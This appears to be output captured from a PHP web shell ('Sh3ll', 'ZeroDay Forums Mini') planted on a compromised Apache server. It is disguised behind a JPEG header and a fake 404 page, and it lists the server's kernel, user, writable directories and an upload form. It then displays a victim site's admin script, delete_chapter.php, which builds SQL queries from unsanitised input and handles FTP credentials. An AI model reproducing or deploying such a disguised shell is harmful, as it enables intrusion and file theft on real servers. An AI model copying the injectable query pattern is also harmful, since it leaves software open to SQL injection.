����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/lnovel/code/admin/posts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/lnovel/code/admin/posts/delete_chapter.php
<?php
global $arr_ftp,$DB,$CORE;
$truyen_id = $CORE->input['truyen_id'] ?? 0;
$row_truyen = $DB->fetch_row($DB->query("SELECT * FROM tb_truyen WHERE truyen_id='$truyen_id' "));
$chuong_id = $CORE->input['chuong_id'] ?? 0;
$r_chuong = $DB->fetch_row($DB->query("SELECT * FROM tb_chuong WHERE chuong_id='$chuong_id' "));
$q_chuong_img = $DB->query("SELECT * FROM tb_chuong_img WHERE chuong_id='$chuong_id' ");

$ftp_domain = $arr_ftp['ftp_domain'];
$ftp_hostname = $arr_ftp['ftp_hostname'];
$ftp_username =  $arr_ftp['ftp_username'];
$ftp_password =  $arr_ftp['ftp_password'];
$path_of_storage = $arr_ftp['path_of_storage'];
// connect ftp
$ftpcon = ftp_connect($ftp_hostname) or die('Error connecting to ftp server...');
// ftp login
$ftplogin = ftp_login($ftpcon, $ftp_username, $ftp_password) or die('Error login '.$ftp_username.' to ftp server...');
ftp_pasv($ftpcon, true);

while($r_chuong_img = $DB->fetch_row($q_chuong_img)){
    // Delete all files in the folder image
    $remote_dir = $r_chuong_img['path_of_storage'].'/'.$r_chuong_img['url_dir'];
    ftp_rrmdir($ftpcon, $remote_dir);
}
ftp_close($ftpcon);
$DB->query("DELETE FROM tb_chuong WHERE chuong_id='$chuong_id' ");
$DB->query("DELETE FROM tb_chuong_img WHERE chuong_id='$chuong_id' ");

//update truyen
$row_chuong = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong WHERE truyen_id='".$truyen_id."' "));
$DB->query("UPDATE tb_truyen SET truyen_sochuong='".$row_chuong['total']."',time_update='".date('Y-m-d H:i:s')."',user_update='".$ob_user->user_id."' WHERE truyen_id='$truyen_id'");
$q_chuong = $DB->query("SELECT * FROM tb_chuong WHERE truyen_id='".$truyen_id."' ORDER BY chuong_pos DESC LIMIT 2");
$i=1;
while($r_chuong = $DB->fetch_row($q_chuong)){
    if($i==1){
        $DB->query("UPDATE tb_truyen SET truyen_chuong_moinhat_id='".$r_chuong['chuong_id']."',truyen_chuong_moinhat_name='".$r_chuong['chuong_name']."',truyen_chuong_moinhat_fname='".$r_chuong['chuong_fname']."',truyen_chuong_moinhat_isnew='".$r_chuong['chuong_new']."' ,truyen_chuong_moinhat_time='".$r_chuong['time_post']."' WHERE truyen_id='".$truyen_id."' ");
    }
    if($i==2){
        if($r_chuong['chuong_id']>0){
            $DB->query("UPDATE tb_truyen SET truyen_chuong_moinhi_id='".$r_chuong['chuong_id']."',truyen_chuong_moinhi_name='".$r_chuong['chuong_name']."',truyen_chuong_moinhi_fname='".$r_chuong['chuong_fname']."',truyen_chuong_moinhi_isnew='".$r_chuong['chuong_new']."',truyen_chuong_moinhi_time='".$r_chuong['time_post']."' WHERE truyen_id='".$truyen_id."' ");
        }
    }
    $i++;
}

echo $chuong_id;
exit();
?>

ZeroDay Forums Mini